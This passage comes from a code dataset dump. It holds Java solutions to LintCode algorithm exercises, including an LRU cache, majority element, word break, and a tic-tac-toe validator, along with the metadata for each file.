LinkedList<>();\n\n private void addNode(Node addNode) {\n if (addNode == null) {\n return;\n }\n if (addNode.actions == N) {\n finalNodes.add(addNode);\n return;\n }\n int index = -1;\n boolean replaced = false;\n for (int i = 0; i < nodes.size(); i++) {\n Node node = nodes.get(i);\n if (node.actions == addNode.actions) {\n if (node.screen <= addNode.screen && node.buffer <= addNode.buffer) {\n //replace\n index = i;\n replaced = true;\n break;\n } else if (node.screen >= addNode.screen && node.buffer >= addNode.buffer) {\n //no change\n CommonNode.back(addNode);\n return;\n }\n }\n\n if (node.screen >= addNode.screen && node.buffer >= addNode.buffer && node.actions <= addNode.actions) {\n //no change\n CommonNode.back(addNode);\n return;\n }\n\n if (node.actions > addNode.actions) {\n index = i;\n break;\n }\n\n\n }\n if (index == -1) {\n nodes.add(addNode);\n } else if (replaced) {\n nodes.set(index, addNode);\n } else {\n nodes.add(index, addNode);\n }\n }\n\n private Node pop() {\n try {\n return nodes.remove(0);\n } catch (Exception e) {\n return null;\n }\n }\n\n public int maxScreen() {\n int max = -1;\n for (Node finalNode : finalNodes) {\n if (finalNode.screen > max) {\n max = finalNode.screen;\n }\n }\n return max;\n }\n }\n\n public static abstract class Node {\n protected int screen;//num of A in screen\n\n protected int buffer;//num of A in buffer\n\n protected int actions;//count of actions\n\n //Key 1 (A)\n abstract Node A(int n);\n\n //粘贴\n //Key 4: (Ctrl-V)\n abstract Node CtrlV(int n);\n\n //Key 2-3-4: (Ctrl-A),(Ctrl-C),(Ctrl-V):\n abstract Node CtrlACV(int n);\n }\n\n class InitNode extends Node {\n public InitNode(int screen, int buffer, int actions) {\n this.screen = screen;\n this.buffer = buffer;\n this.actions = actions;\n }\n\n //Key 1 (A)\n @Override\n public Node A(int n) {\n// if (actions + 1 > n) {\n// return null;\n// }\n return new InitNode(screen + 1, buffer, actions + 1);\n }\n\n //粘贴\n //Key 4: (Ctrl-V)\n @Override\n public Node CtrlV(int n) {\n return null;\n }\n\n //Key 2-3-4: (Ctrl-A),(Ctrl-C),(Ctrl-V):\n @Override\n public Node CtrlACV(int n) {\n if (screen == 0 || actions + 3 > n) {\n return null;\n }\n //screen->buffer\n //screen*2->screen\n return new CommonNode(screen << 1, screen, actions + 3);\n }\n }\n\n static class CommonNode extends Node {\n\n public CommonNode(int screen, int buffer, int actions) {\n this.screen = screen;\n this.buffer = buffer;\n this.actions = actions;\n }\n\n @Override\n Node A(int n) {\n return of(screen + 1, buffer, actions + 1);\n }\n\n @Override\n Node CtrlV(int n) {\n if (actions + 1 > n) {\n return null;\n }\n return of(screen + buffer, buffer, actions + 1);\n }\n\n @Override\n Node CtrlACV(int n) {\n if (actions + 3 > n) {\n return null;\n }\n //screen->buffer\n //screen*2->screen\n return of(screen << 1, screen, actions + 3);\n }\n\n static Stack<CommonNode> commonNodePool = new Stack<>();\n\n static CommonNode of(int screen, int buffer, int actions) {\n try {\n CommonNode commonNode = commonNodePool.pop();\n commonNode.screen = screen;\n commonNode.buffer = buffer;\n commonNode.actions = actions;\n return commonNode;\n } catch (Exception e) {\n return new CommonNode(screen, buffer, actions);\n }\n// return new CommonNode(screen, buffer, actions);\n }\n\n static void back(Node commonNode) {\n try {\n commonNodePool.push((CommonNode) commonNode);\n } catch (Exception ignored) {\n }\n }\n }\n\n\n public static void main(String[] args) {\n// FourKeysKeyboard fourKeysKeyboard = new FourKeysKeyboard();\n// FourKeysKeyboardII fourKeysKeyboardII = new FourKeysKeyboardII();\n// for (int i = 1; i < 20; i++) {\n// int a = maxA(i);\n// int b = fourKeysKeyboardII.maxA(i);\n// System.out.println(\"1->\" + a + \",2->\" + b);\n// if (a != b) {\n// System.out.println(i);\n// break;\n// }\n// }\n System.out.println(new FourKeysKeyboardII().maxA(9));\n }\n\n}\n"
},
{
"alpha_fraction": 0.39659884572029114,
"alphanum_fraction": 0.41208624839782715,
"avg_line_length": 23.392593383789062,
"blob_id": "c269577df2c853e9098b407940df4ae039229f64",
"content_id": "92582309ccf6ddb55b480ab275da36a4f28b12c2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3293,
"license_type": "no_license",
"max_line_length": 126,
"num_lines": 135,
"path": "/java/src/main/java/T20180907/MajorityElement.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180907;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Description\n * Given an array of integers, the majority number is the number that occurs more than half of the size of the array. Find it.\n * <p>\n * You may assume that the array is non-empty and the majority number always exist in the array.\n * <p>\n * Example\n * Given [1, 1, 1, 1, 2, 2, 2], return 1\n * <p>\n * Challenge\n * O(n) time and O(1) extra space\n */\npublic class MajorityElement {\n\n /*\n * @param nums: a list of integers\n * @return: find a majority number\n */\n public int majorityNumber(List<Integer> nums) {\n // write your code here\n\n int majority = nums.get(0);\n int count = 1;\n int size = nums.size();\n int middleSize = size >> 1;\n int i;\n for (i = 1; i < size; ++i) {\n int num = nums.get(i);\n if (count == 0) {\n majority = num;\n ++count;\n } else if (num == majority) {\n ++count;\n } else {\n --count;\n }\n }\n if (count > 0) {\n return majority;\n } else if (count == 0) {\n return -1;\n }\n// if (count == 0) {\n// return -1;\n// } else if (count > middleSize) {\n// return majority;\n// }\n//\n// count = 0;\n//\n// //8 4\n// //7 3\n// int pre = size - middleSize;\n// if ((size & 1) != 0) {\n// --pre;\n// }\n// for (i = 0; i < pre; ++i) {\n// int num = nums.get(i);\n// if (num == majority) {\n// ++count;\n// }\n// }\n// for (; i < size; ++i) {\n// int num = nums.get(i);\n// if (num == majority) {\n// ++count;\n// if (count > middleSize) {\n// return majority;\n// }\n// }\n// }\n\n return -1;\n }\n\n public int majorityNumber2(List<Integer> nums) {\n // write your code here\n\n int majority = nums.get(0);\n int count = 1;\n int size = nums.size();\n int middleSize = size >> 1;\n for (int i = 1; i < middleSize; i++) {\n int num = nums.get(i);\n if (count == 0) {\n majority = num;\n ++count;\n } else if (num == majority) {\n ++count;\n } else {\n --count;\n }\n }\n\n int rest = size - middleSize;\n for (int i = middleSize; i < size; i++, rest--) {\n int num = nums.get(i);\n if (count == 0) {\n majority = num;\n ++count;\n } else if (num == majority) {\n if (++count > rest) {\n return num;\n }\n } else {\n --count;\n }\n }\n\n return majority;\n\n }\n\n\n public static void main(String[] args) {\n ArrayList<Integer> list = new ArrayList<>();\n list.add(1);\n list.add(1);\n list.add(1);\n list.add(1);\n list.add(2);\n list.add(2);\n list.add(2);\n\n list.add(1);\n\n System.out.println(new MajorityElement().majorityNumber(list));\n }\n\n}\n"
},
{
"alpha_fraction": 0.5162734985351562,
"alphanum_fraction": 0.5216482281684875,
"avg_line_length": 22.928571701049805,
"blob_id": "02058b90bf506f71fc95236fcaf824d42503d052",
"content_id": "65430124dcb5ce1aec5fe38fd917838399e440a8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3349,
"license_type": "no_license",
"max_line_length": 195,
"num_lines": 140,
"path": "/java/src/main/java/T20180904/LRUCache.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180904;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Description\n * Design and implement a data structure for Least Recently Used (LRU) cache. It should support the following operations: get and set.\n * <p>\n * get(key) - Get the value (will always be positive) of the key if the key exists in the cache, otherwise return -1.\n * set(key, value) - Set or insert the value if the key is not already present. When the cache reached its capacity, it should invalidate the least recently used item before inserting a new item.\n */\npublic class LRUCache {\n\n class Node {\n public int key;\n public int val;\n public Node prev;\n public Node next;\n\n public Node(int key, int val) {\n this.key = key;\n this.val = val;\n }\n }\n\n private int capacity;\n private Node head, tail;\n private Map<Integer, Node> nodeIndexes;\n\n /*\n * @param capacity: An integer\n */\n public LRUCache(int capacity) {\n this.capacity = capacity;\n this.nodeIndexes = new HashMap<>(capacity);\n head = null;\n tail = null;\n }\n\n /*\n * @param key: An integer\n * @return: An integer\n */\n public int get(int key) {\n Node node = getNode(key);\n if (node == null) {\n return -1;\n } else {\n return node.val;\n }\n // write your code here\n }\n\n /*\n * @param key: An integer\n * @return: An integer\n */\n public Node getNode(int key) {\n Node node = nodeIndexes.get(key);\n if (node == null) {\n return null;\n } else {\n reset(node);\n return node;\n }\n // write your code here\n }\n\n /*\n * @param key: An integer\n * @param value: An integer\n * @return: nothing\n */\n public void set(int key, int value) {\n Node oldNode = getNode(key);\n if (oldNode != null) {\n oldNode.val = value;\n return;\n }\n\n if (nodeIndexes.size() == capacity) {\n removeHead();\n }\n\n Node newNode = new Node(key, value);\n nodeIndexes.put(key, newNode);\n insert(newNode);\n }\n\n private void insert(Node newNode) {\n if (head == null) {\n head = newNode;\n tail = newNode;\n } else {\n tail.next = newNode;\n newNode.prev = tail;\n tail = newNode;\n }\n }\n\n private void removeHead() {\n nodeIndexes.remove(head.key);\n head = head.next;\n if (head != null) {\n head.prev = null;\n }\n }\n\n private void reset(Node node) {\n if (node == tail) {//needn't move if the node is tail\n return;\n }\n\n if (node.prev != null) {\n node.prev.next = node.next;\n node.next.prev = node.prev;\n } else {\n head = node.next;\n head.prev = null;\n }\n\n tail.next = node;\n node.prev = tail;\n tail = node;\n tail.next = null;\n }\n\n public static void main(String[] args) {\n\n LRUCache lruCache = new LRUCache(1);\n\n lruCache.set(2, 1);\n System.out.println(lruCache.get(2));\n lruCache.set(3, 2);\n System.out.println(lruCache.get(2));\n System.out.println(lruCache.get(3));\n }\n\n}"
},
{
"alpha_fraction": 0.4578646123409271,
"alphanum_fraction": 0.4612196683883667,
"avg_line_length": 24.084157943725586,
"blob_id": "161de46d27649803d865f9cad8800e40ba734ab8",
"content_id": "79a44b17f204b987b001f3580835b34248069468",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 5067,
"license_type": "no_license",
"max_line_length": 144,
"num_lines": 202,
"path": "/java/src/main/java/T20180921/WordBreak.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180921;\n\nimport java.util.*;\n\n/**\n * Description\n * Given a string s and a dictionary of words dict, determine if s can be break into a space-separated sequence of one or more dictionary words.\n * <p>\n * Example\n * Given s = \"lintcode\", dict = [\"lint\", \"code\"].\n * <p>\n * Return true because \"lintcode\" can be break as \"lint code\".\n */\npublic class WordBreak {\n /*\n * @param s: A string\n * @param dict: A dictionary of words dict\n * @return: A boolean\n */\n public boolean wordBreak(String s, Set<String> dict) {\n // write your code here\n if (s == null || s.length() == 0) {\n return true;\n }\n QuicklyDictNode root = new QuicklyDictNode();\n initDict(root, dict);\n return doWordBreak(s, root);\n }\n\n private void initDict(DictNode root, Set<String> dict) {\n for (String s : dict) {\n insert(root, s);\n }\n }\n\n private void insert(DictNode root, String s) {\n DictNode node = root;\n for (int i = 0; i < s.length(); i++) {\n char ch = s.charAt(i);\n node = node.createNext(ch);\n }\n node.canBeEnd();\n }\n\n private boolean doWordBreak(String s, QuicklyDictNode dict) {\n // write your code here\n if (dict.contains(s)) {\n return true;\n }\n Stack<Integer> rest = new Stack<>();\n Set<Integer> used = new HashSet<>();\n rest.add(0);\n char[] chars = s.toCharArray();\n while (!rest.isEmpty()) {\n int index = rest.pop();\n DictNode n = dict;\n int i;\n for (i = index; i < chars.length; i++) {\n n = n.getNext(chars[i]);\n if (n == null) {\n break;\n }\n if (n.isEnd()) {\n if (used.add(i + 1)) {\n rest.push(i + 1);\n }\n }\n }\n if (i == s.length() && n.isEnd()) {\n return true;\n }\n }\n return false;\n }\n\n private abstract class DictNode {\n\n abstract void canBeEnd();\n\n abstract boolean isEnd();\n\n abstract char getCh();\n\n abstract DictNode createNext(char ch);\n\n abstract DictNode getNext(char ch);\n\n }\n\n private class QuicklyDictNode extends DictNode {\n\n private char ch;\n private BasicDictNode[] next = new BasicDictNode[26];\n private boolean end;\n\n @Override\n public void canBeEnd() {\n end = true;\n }\n\n @Override\n public boolean isEnd() {\n return end;\n }\n\n @Override\n public char getCh() {\n return 0;\n }\n\n @Override\n public BasicDictNode createNext(char ch) {\n BasicDictNode node = next[ch - 'a'];\n if (node == null) {\n node = new BasicDictNode(ch);\n next[ch - 'a'] = node;\n }\n return node;\n }\n\n @Override\n public BasicDictNode getNext(char ch) {\n return next[ch - 'a'];\n }\n\n public boolean contains(String str) {\n DictNode n = this;\n for (int i = 0; i < str.length(); i++) {\n char ch = str.charAt(i);\n n = n.getNext(ch);\n if (n == null) {\n return false;\n }\n }\n return n.isEnd();\n }\n }\n\n private class BasicDictNode extends DictNode {\n private char ch;\n private List<BasicDictNode> next;\n private boolean end;\n\n public BasicDictNode() {\n }\n\n @Override\n public void canBeEnd() {\n this.end = true;\n }\n\n @Override\n public boolean isEnd() {\n return this.end;\n }\n\n public BasicDictNode(char ch) {\n this.ch = ch;\n }\n\n @Override\n public char getCh() {\n return ch;\n }\n\n @Override\n public BasicDictNode createNext(char ch) {\n if (next == null) {\n next = new ArrayList<>();\n BasicDictNode node = new BasicDictNode(ch);\n next.add(node);\n return node;\n }\n for (BasicDictNode node : next) {\n if (node.ch == ch) {\n return node;\n }\n }\n BasicDictNode node = new BasicDictNode(ch);\n next.add(node);\n return node;\n }\n\n @Override\n public BasicDictNode getNext(char ch) {\n if (next == null) {\n return null;\n }\n for (BasicDictNode node : next) {\n if (node.ch == ch) {\n return node;\n }\n }\n return null;\n }\n }\n\n public static void main(String[] args) {\n\n System.out.println(new WordBreak().wordBreak(\"aaaaaaaa\", new HashSet<>(Arrays.asList(\"aaaa\", \"aa\"))));\n }\n}\n"
},
{
"alpha_fraction": 0.5226666927337646,
"alphanum_fraction": 0.5353333353996277,
"avg_line_length": 21.402984619140625,
"blob_id": "80a59ea6cadb8d43bd4f3ddc69905ae80988ea10",
"content_id": "93bf41d59f4fd5531a667e57bf2d8294d02a005e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1500,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 67,
"path": "/java/src/main/java/T20190301/Vector2D.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20190301;\n\nimport java.util.Iterator;\nimport java.util.List;\n\n/**\n * Implement an iterator to flatten a 2d vector.\n * <p>\n * Your Vector2D object will be instantiated and called as such:\n * Vector2D i=new Vector2D(vec2d);\n * while(i.hasNext())v[f()]=i.next();\n */\n\npublic class Vector2D implements Iterator<Integer> {\n\n private Iterator<List<Integer>> currOut;\n private Iterator<Integer> curr;\n\n @SuppressWarnings(\"unchecked\")\n public Vector2D(List<List<Integer>> vec2d) {\n if (vec2d == null || vec2d.isEmpty()) {\n currOut = emptyIterator;\n curr = emptyIterator;\n } else {\n currOut = vec2d.iterator();\n curr = emptyIterator;\n }\n }\n\n @Override\n public Integer next() {\n return curr.next();\n }\n\n @Override\n public boolean hasNext() {\n if (curr.hasNext()) {\n return true;\n }\n for (; ; ) {\n if (!currOut.hasNext()) {\n return false;\n }\n final List<Integer> next = currOut.next();\n if (next.isEmpty()) continue;\n curr = next.iterator();\n return true;\n }\n }\n\n @Override\n public void remove() {\n curr.remove();\n }\n\n private static Iterator emptyIterator = new Iterator() {\n @Override\n public boolean hasNext() {\n return false;\n }\n\n @Override\n public Object next() {\n return null;\n }\n };\n}"
},
{
"alpha_fraction": 0.4471491873264313,
"alphanum_fraction": 0.5238219499588013,
"avg_line_length": 32.99114990234375,
"blob_id": "8be323f669bfa21aecf1e2114c65c695c7ac9980",
"content_id": "f0d2ce83c3c19e98fd6c2eb0a100e2bfe07b448e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 7684,
"license_type": "no_license",
"max_line_length": 608,
"num_lines": 226,
"path": "/java/src/main/java/T20180919/ANDAndORII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180919;\n\n/**\n * Description\n * Give n non-negative integers, find the sum of maximum OR sum, minimum OR sum, maximum AND sum, minimum AND sum.\n * <p>\n * maximum OR sum: In n numbers, take a number of numbers(cannot take nothing), The largest number after the OR operation.\n * minimum OR sum: In n numbers, take a number of numbers(cannot take nothing), The smallest number after the OR operation.\n * maximum AND sum: In n numbers, take a number of numbers(cannot take nothing), The largest number after the AND operation.\n * minimum AND sum: In n numbers, take a number of numbers(cannot take nothing), The smallest number after the AND operation.\n * 1 <= n <= 1000000,0 <= nums[i] <= 2^32 - 1.\n * Example\n * Give n = 3, nums = [1, 2, 3], return 7.\n * <p>\n * Explanation:\n * maximum OR sum: 3, minimum OR sum: 1, maximum AND sum: 3, minimum AND sum: 0.\n * result: 3 + 1 + 3 + 0 = 7.\n * Give n = 3, nums = [0, 0, 1], return 2.\n * <p>\n * Explanation:\n * maximum OR sum: 1, minimum OR sum: 0, maximum AND sum: 1, minimum AND sum: 0.\n * result: 1 + 0 + 1 + 0 = 2.\n * Give n = 5, nums = [12313, 156, 4564, 212, 12], return 25090.\n * <p>\n * Explanation:\n * maximum OR sum: 12765, minimum OR sum: 12, maximum AND sum: 12313, minimum AND sum: 0.\n * result: 12765 + 12 + 12313 = 25090\n * Give n = 3, nums = [111111, 333333, 555555], return 1588322.\n * <p>\n * Explanation:\n * maximum OR sum: 917047, minimum OR sum: 111111, maximum AND sum: 555555, minimum AND sum: 4609.\n * result: 917047+ 111111+ 555555+ 4609 = 1588322.\n */\npublic class ANDAndORII {\n\n /**\n * @param n:\n * @param nums:\n * @return: return the sum of maximum OR sum, minimum OR sum, maximum AND sum, minimum AND sum.\n */\n public long getSum(int n, int[] nums) {\n // write your code here\n\n if (n < 100) {\n int maxOrSum = nums[0];\n int minOrSum = maxOrSum;\n int maxAndSum = maxOrSum;\n int minAndSum = maxOrSum;\n for (int i = 1; i < nums.length; i++) {\n int num = nums[i];\n maxOrSum |= num;\n minAndSum &= num;\n if (num < minOrSum) {\n minOrSum = num;\n } else if (num > maxAndSum) {\n maxAndSum = num;\n }\n }\n return maxOrSum + minOrSum + maxAndSum + minAndSum;\n } else {\n Contain contain = new Contain(n, nums);\n return contain.computer();\n }\n }\n\n private interface Status {\n void computer(Contain contain, int length);\n\n Status checkStatus(Contain contain);\n }\n\n private static AllStatus allStatus = new AllStatus();\n private static OrStatus orStatus = new OrStatus();\n private static AndStatus andStatus = new AndStatus();\n private static OnlyStatus onlyStatus = new OnlyStatus();\n\n private static class AllStatus implements Status {\n\n @Override\n public void computer(Contain contain, int length) {\n contain.computerAll(length);\n }\n\n @Override\n public Status checkStatus(Contain contain) {\n if (contain.maxOrSum == 0x7fffffff) {\n return contain.minAndSum == 0 ? onlyStatus : andStatus;\n } else {\n return contain.minAndSum == 0 ? orStatus : allStatus;\n }\n }\n }\n\n private static class OrStatus implements Status {\n @Override\n public void computer(Contain contain, int length) {\n contain.computerWithOutA(length);\n }\n\n @Override\n public Status checkStatus(Contain contain) {\n return contain.maxOrSum == 0x7fffffff ? onlyStatus : orStatus;\n }\n }\n\n private static class AndStatus implements Status {\n @Override\n public void computer(Contain contain, int length) {\n contain.computerWithOutO(length);\n }\n\n @Override\n public Status checkStatus(Contain contain) {\n return contain.minAndSum == 0 ? onlyStatus : andStatus;\n }\n }\n\n private static class OnlyStatus implements Status {\n @Override\n public void computer(Contain contain, int length) {\n contain.computerWithOutAO(length);\n }\n\n @Override\n public Status checkStatus(Contain contain) {\n return onlyStatus;\n }\n }\n\n private static class Contain {\n int n;\n int[] nums;\n\n\n int maxOrSum;\n int minOrSum;\n int maxAndSum;\n int minAndSum;\n int index;\n\n Status status = allStatus;\n\n public Contain(int n, int[] nums) {\n this.n = n;\n this.nums = nums;\n index = 1;\n maxOrSum = this.nums[0];\n minOrSum = maxOrSum;\n maxAndSum = maxOrSum;\n minAndSum = maxOrSum;\n }\n\n private long computer() {\n try {\n int length = nums.length >> 2;\n for (int i = 0; i < 4; i++) {\n status.computer(this, length);\n status = status.checkStatus(this);\n }\n status.computer(this, n - (length << 2) - 1);\n } catch (Exception e) {\n e.printStackTrace();\n }\n return count();\n }\n\n private void computerAll(int length) {\n for (int i = 0; i < length; i++) {\n int num = nums[index++];\n maxOrSum |= num;\n minAndSum &= num;\n if (num < minOrSum) {\n minOrSum = num;\n } else if (num > maxAndSum) {\n maxAndSum = num;\n }\n }\n }\n\n private void computerWithOutA(int length) {\n for (int i = 0; i < length; i++) {\n int num = nums[index++];\n maxOrSum |= num;\n if (num < minOrSum) {\n minOrSum = num;\n } else if (num > maxAndSum) {\n maxAndSum = num;\n }\n }\n }\n\n private void computerWithOutO(int length) {\n for (int i = 0; i < length; i++) {\n int num = nums[index++];\n minAndSum &= num;\n if (num < minOrSum) {\n minOrSum = num;\n } else if (num > maxAndSum) {\n maxAndSum = num;\n }\n }\n }\n\n private void computerWithOutAO(int length) {\n for (int i = 0; i < length; i++) {\n int num = nums[index++];\n if (num < minOrSum) {\n minOrSum = num;\n } else if (num > maxAndSum) {\n maxAndSum = num;\n }\n }\n }\n\n private long count() {\n return maxOrSum + minOrSum + maxAndSum + minAndSum;\n }\n }\n\n public static void main(String[] args) {\n System.out.println(\n new ANDAndORII().getSum(101, new int[]{\n 1, 2, 3, 111111, 333333, 555555, 123213123, 124254, 4567, 7465, 568, 354, 1234, 432, 346, 476, 5678, 324, 23, 1324, 35, 4765, 465, 123, 123123, 1, 2, 3, 111111, 333333, 555555, 123213123, 124254, 4567, 7465, 568, 354, 1234, 432, 346, 476, 5678, 324, 23, 1324, 35, 4765, 465, 123, 123123, 1, 2, 3, 111111, 333333, 555555, 123213123, 124254, 4567, 7465, 568, 354, 1234, 432, 346, 476, 5678, 324, 23, 1324, 35, 4765, 465, 123, 123123, 1, 2, 3, 111111, 333333, 555555, 123213123, 124254, 4567, 7465, 568, 354, 1234, 432, 346, 476, 5678, 324, 23, 1324, 35, 4765, 465, 123, 123123, 21123123\n }));\n }\n}\n"
},
{
"alpha_fraction": 0.49794238805770874,
"alphanum_fraction": 0.5370370149612427,
"avg_line_length": 17.69230842590332,
"blob_id": "5e21ca5bd3a3333b0e638c8b6ede0e6c6e06fe2c",
"content_id": "538ff6e99fb7901d6bbc7c7e992ad9fb3e67ecc8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 486,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 26,
"path": "/java/src/main/java/T20181014/singleNumber/SingleNumberII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20181014.singleNumber;\n\n/**\n * Description\n * Given 2*n + 1 numbers, every numbers occurs twice except one, find it.\n * <p>\n * Example\n * Given [1,2,2,1,3,4,3], return 4\n * <p>\n * Challenge\n * One-pass, constant extra space.\n */\npublic class SingleNumberII {\n\n /**\n * @param A: An integer array\n * @return: An integer\n */\n public int singleNumber(int[] A) {\n int m = 0;\n for (int i : A) {\n m ^= i;\n }\n return m;\n }\n}\n"
},
{
"alpha_fraction": 0.4900221824645996,
"alphanum_fraction": 0.5077605247497559,
"avg_line_length": 24.05555534362793,
"blob_id": "b90fa5c51697ffa4c785e2461931ba628a0c9c5d",
"content_id": "98d8d09fbb3a6359eb50bb2b78515b41f5427640",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2255,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 90,
"path": "/java/src/main/java/T20180907/MajorityElementIII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180907;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Description\n * Given an array of integers and a number k, the majority number is the number that occurs more than 1/k of the size of the array.\n * <p>\n * Find it.\n * <p>\n * There is only one majority number in the array.\n * <p>\n * Example\n * Given [3,1,2,3,2,3,3,4,4,4] and k=3, return 3.\n * <p>\n * Challenge\n * O(n) time and O(k) extra space\n */\npublic class MajorityElementIII {\n\n /*\n * @param nums: a list of integers\n * @return: find a majority number\n */\n public int majorityNumber(List<Integer> nums, int k) {\n // write your code here\n\n Map<Integer, Count> majoritys = new HashMap<>();\n\n int size = nums.size();\n int standard = size / k;\n int preSize = Integer.min(size >> 1, standard + 2);\n\n for (int i = 0; i < preSize; i++) {\n Integer num = nums.get(i);\n if (majoritys.containsKey(num)) {\n majoritys.get(num).count += 1;\n } else {\n majoritys.put(num, new Count(1));\n }\n }\n\n\n for (int i = preSize; i < size; i++) {\n Integer num = nums.get(i);\n if (majoritys.containsKey(num)) {\n final Count count = majoritys.get(num);\n if (++count.count > standard) {\n return num;\n }\n } else {\n majoritys.put(num, new Count(1));\n }\n }\n\n if (majoritys.size() > 0) {\n for (Integer num : majoritys.keySet()) {\n if (majoritys.get(num).count > standard) {\n return num;\n }\n }\n }\n\n return -1;\n }\n\n private class Count {\n private int count;\n\n public Count(int count) {\n this.count = count;\n }\n }\n\n public static void main(String[] args) {\n ArrayList<Integer> list = new ArrayList<>();\n list.add(99);\n list.add(2);\n list.add(99);\n list.add(2);\n list.add(99);\n list.add(3);\n list.add(3);\n System.out.println(new MajorityElementIII().majorityNumber(list, 3));\n }\n\n}\n"
},
{
"alpha_fraction": 0.44548287987709045,
"alphanum_fraction": 0.47507786750793457,
"avg_line_length": 21.928571701049805,
"blob_id": "2e0ccaf04e9b3387f8a4fa9c2e19bd614c7ef936",
"content_id": "ed47e0f0fc8e3dfc1df3068dfc5c6da7e0dcbce3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 642,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 28,
"path": "/java/src/main/java/T20161227/BestTimeToBuyAndSellStock.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161227;\n\n/**\n * Created by TomNg on 2016/12/27.\n */\npublic class BestTimeToBuyAndSellStock {\n\n /**\n * @param prices: Given an integer array\n * @return: Maximum profit\n */\n public int maxProfit(int[] prices) {\n if (prices.length == 0)\n return 0;\n int min = Integer.MIN_VALUE;\n int max = Integer.MAX_VALUE;\n for (int price : prices) {\n if (price < min) {\n min = price;\n }\n price = price - min;\n if (price > max) {\n max = price;\n }\n }\n return Integer.max(max - min, 0);\n }\n}\n"
},
{
"alpha_fraction": 0.4684300422668457,
"alphanum_fraction": 0.5088168382644653,
"avg_line_length": 32.80769348144531,
"blob_id": "06b241b5c954cc0a0acd7f570e6458111d48ad8c",
"content_id": "cf82ba87e4f5c752435f34f75710602d3a4bd4e6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3516,
"license_type": "no_license",
"max_line_length": 174,
"num_lines": 104,
"path": "/java/src/main/java/T20180918/ValidTicTacToeState.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180918;\n\n/**\n * Description\n * A Tic-Tac-Toe board is given as a string array board. Return True if and only if it is possible to reach this board position during the course of a valid tic-tac-toe game.\n * <p>\n * The board is a 3 x 3 array, and consists of characters \" \", \"X\", and \"O\". The \" \" character represents an empty square.\n * <p>\n * Here are the rules of Tic-Tac-Toe:\n * <p>\n * Players take turns placing characters into empty squares (\" \").\n * The first player always places \"X\" characters, while the second player always places \"O\" characters.\n * \"X\" and \"O\" characters are always placed into empty squares, never filled ones.\n * The game ends when there are 3 of the same (non-empty) character filling any row, column, or diagonal.\n * The game also ends if all squares are non-empty.\n * No more moves can be played if the game is over.\n * board is a length-3 array of strings, where each string board[i] has length 3.\n * Each board[i][j] is a character in the set {\" \", \"X\", \"O\"}.\n * <p>\n * Example\n * Example 1:\n * Input: board = [\"O \", \" \", \" \"]\n * Output: false\n * Explanation: The first player always plays \"X\".\n * <p>\n * Example 2:\n * Input: board = [\"XOX\", \" X \", \" \"]\n * Output: false\n * Explanation: Players take turns making moves.\n * <p>\n * Example 3:\n * Input: board = [\"XXX\", \" \", \"OOO\"]\n * Output: false\n * <p>\n * Example 4:\n * Input: board = [\"XOX\", \"O O\", \"XOX\"]\n * Output: true\n */\npublic class ValidTicTacToeState {\n\n /**\n * @param board: the given board\n * @return: True if and only if it is possible to reach this board position during the course of a valid tic-tac-toe game\n */\n public boolean validTicTacToe(String[] board) {\n // Write your code\n int x = 0, xCount = 0, o = 0, oCount = 0, i = 0;\n for (String s : board) {\n for (int lineIndex = 0; lineIndex < 3; lineIndex++) {\n switch (s.charAt(lineIndex)) {\n case 'X':\n x = x | (1 << i);\n ++xCount;\n break;\n case 'O':\n o = o | (1 << i);\n ++oCount;\n break;\n }\n ++i;\n }\n }\n\n int validStatus = 0;\n if (xCount == oCount) {\n validStatus = 0b101;//o win or not\n } else if (xCount - oCount == 1) {\n if (xCount == 5) {\n validStatus = 0b011;//x win or not\n } else {\n validStatus = 0b010;//x win\n }\n } else {\n return false;\n }\n\n int status = 0b001;//no winner\n for (int win : wins) {\n if ((win & x) == win) {\n if (status == 0b100) {//allow x win twice\n return false;\n } else {\n status = 0b010;//x win\n }\n }\n if ((win & o) == win) {\n if (status != 0b001) {\n return false;\n } else {\n status = 0b100;//o win\n }\n }\n }\n return (status & validStatus) != 0;\n\n }\n\n static int[] wins = new int[]{0b111000000, 0b000111000, 0b000000111, 0b100100100, 0b010010010, 0b001001001, 0b100010001, 0b001010100};\n\n public static void main(String[] args) {\n System.out.println(new ValidTicTacToeState().validTicTacToe(new String[]{\n \"XXX\", \" \", \"OOO\"}));\n }\n}\n"
},
{
"alpha_fraction": 0.47870370745658875,
"alphanum_fraction": 0.49259260296821594,
"avg_line_length": 20.600000381469727,
"blob_id": "cda53412da255a033ec8e2ff954e4206ec2498ba",
"content_id": "3470256311bbc4be9be7f8b02c939ea773ff1b1a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
